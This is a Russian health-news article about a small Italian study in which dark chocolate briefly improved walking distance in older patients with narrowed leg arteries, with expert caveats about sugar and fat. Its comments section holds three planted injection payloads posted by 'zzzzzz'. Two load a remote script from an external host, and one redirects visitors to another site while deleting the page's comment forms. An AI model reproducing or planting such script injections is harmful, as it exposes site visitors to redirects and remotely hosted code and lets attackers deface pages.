Здоровье ИНФО
Присоединяйтесь к нам:
Главная страница  >>  Наша кожа  >>  Прыщи  >>  Статьи  >>  Шоколад сохранит вам ноги...  >>  Шоколад сохранит вам ноги!
 
Обратная связь
 

Шоколад сохранит вам ноги!

Размер шрифта
01 декабря 2014 00:00
Юрий Малышев
Здоровье инфо
Александр Чистяков
Здоровье инфо
  • google_analytics: false
  • Нравится

И снова о пользе одного из любимых лакомств – темного шоколада. Итальянские ученые считают, что содержащиеся в нем антиоксиданты могут помочь людям, страдающим от нарушения кровообращения в ногах.

Темный шоколад богат антиоксидантами – полифенолами. По словам ученых, полифенолы улучшают ток крови в ногах благодаря своему действию на вещества, расширяющие сосуды. «Наше тело вырабатывает вещества, которые расширяют кровеносные сосуды в ответ на определенные стимулы, что позволяет улучшить кровоснабжение конкретной области», – рассказывает доктор Ричард Чазал, вице-президент Американского Колледжа Кардиологов. «Антиоксиданты из темного шоколада могут влиять на обмен этих веществ в нашем организме».

В исследовании приняли участие 20 человек в возрасте от 60 до 78 лет, у которых было выявлено заболевание сосудов – сужение артерий, доставляющих кровь от сердца к ногам, рукам, области желудка и голове. Снижение тока крови способно вызвать такие симптомы как боль, спазмы или усталость в ногах во время ходьбы. Все участники ходили по беговой дорожке утром, а также через два часа после употребления 40 грамм темного или молочного шоколада. В эксперименте был использован темный шоколад с содержанием какао более 85%, богатый полифенолами. Молочный шоколад, в котором процент какао составляет менее 30%, содержит гораздо меньше полифенолов. После порции темного шоколада пациенты могли идти на 15% дольше и проходить на 11% большее расстояние, чем делали это утром. По словам доктора Лоренцо Лоффредо, соавтора исследования и профессора Университета Сапиенца в Риме, молочный шоколад не способствовал улучшению этих показателей.

Ученые выяснили, что уровень оксида азота – вещества, от которого зависит нормальный кровоток, повышался после употребления темного шоколада. Они предполагают, что более высокий уровень оксида азота способствует расширению периферических артерий и помогает пациентам ходить на более длинные дистанции.

Доктор Марк Кригер, директор сосудистого центра в Бригаме и профессор Гарвардской медицинской школы, назвал результаты этого исследования «интригующими». «Эти данные определенно интересны, но результаты довольно скромны – ведь дистанция увеличилась совсем ненамного», – отмечает он. «Однако благодаря таким данным ученые смогут провести более крупное исследование и проверить, будут ли так же оптимистичны результаты длительного лечения».

Кригер и Чазал отметили, что в шоколаде также содержится большое количество жиров и сахара, поэтому избыточное его употребление может привести к проблемам со здоровьем, таким как ожирение и сахарный диабет. «Люди должны всегда помнить, что в шоколадных батончиках содержится много всего того, что вредит нашему здоровью», – говорит Кригер. «Так что я бы не рекомендовал считать их панацеей для лечения нарушений ходьбы». Чазал также добавил, что наиболее важный вывод из этой работы – то, что необходимо выявить точный механизм, благодаря которому полифенолы могут улучшать кровоснабжение. Полифенолы также содержатся и в продуктах с меньшим количеством сахара и насыщенных жиров, таких как гвоздика, сушеная мята, семена сельдерея и фундук.

«На данный момент я не могу посоветовать людям употреблять темный шоколад в больших количествах в качестве лекарственного средства. Возможно нам удастся доказать, что в умеренных количествах он способен оказывать терапевтическое действие», – резюмирует Чазал.

И хотя темный шоколад еще не признали в качестве лекарства, вы вполне можете позволить себе время от времени съесть несколько квадратиков, вашему здоровью это точно не повредит.

О других методах профилактики и лечения варикоза читайте на страницах нашего одноименного спецпроекта.

  • google_analytics: false
  • Нравится
Послать другу Послать другу Распечатать Распечатать Обсудить на форуме Обсудить на форуме
Комментарии

1 - zzzzzz

30 июня 2015 в 18:29

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js">

2 - zzzzzz

30 июня 2015 в 21:28

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js">

3 - zzzzzz

30 июня 2015 в 22:24

Цитировать   |   Пожаловаться

-->> window.location.href="http://a25832-hostde3.fornex.org/"; $("form.noprint, #CommentsBlock").remove();

Статьи

       
Ого! Чай с шоколадкой и ягодами спасет от диабета!   5 заблуждений о варикозе   Горький шоколад полезен для сердца! Но все благодаря бактериям!   Как избавиться от варикозных вен?  
01 ноября 2013ИНВИТРО – «Марка №1» в России 21 октября 2013ИНВИТРО открыла центр лучевой диагностики «ИНВИТРО.Эксперт»
 
11 октября 2013Елена Малышева расскажет все о том, как правильно худеть 03 октября 2013Результаты благотворительного марафона «Всем миром»
 

Слайдшоу

1
Варикоз. Как предотвратить? Как избавиться?
Проблемы с внешностью или болезнь?
9 продуктов, которые сделают вас худой в Новом году

Тесты

1
Будет ли у вас инфаркт?
Кофеин вызывает зависимость?
Как устроены волосы человека?
Вопросы и ответы
Яна Александровна Юцковская
Яна Александровна Юцковская Задать вопрос
Посмотреть информацию о враче

Юцковская Яна Александровна, д.м.н., профессор, зав. кафедрой дерматовенерологии и косметологии ГБОУ ВПО «ТГМУ Минздрава России», врач высшей категории, директор ООО «Профессорская клиника Юцковских», Владивосток, директор ООО «Клиника профессора  Юцковской», Москва, президент НП «ДВАЭМ», председатель Дальневосточного отделения МООСБТ.

Елена Николаевна Волкова
Елена Николаевна Волкова Прочитать ответы
Посмотреть информацию о враче

Доктор медицинских наук, профессор кафедры дерматовенерологии Московского факультета ГОУ ВПО «РГМУ им. Н.И. Пирогова Минздравсоцразвития России». Этот консультант отвечал на вопросы пользователей с 03 ноября 2011 г. по 15 февраля 2012 г.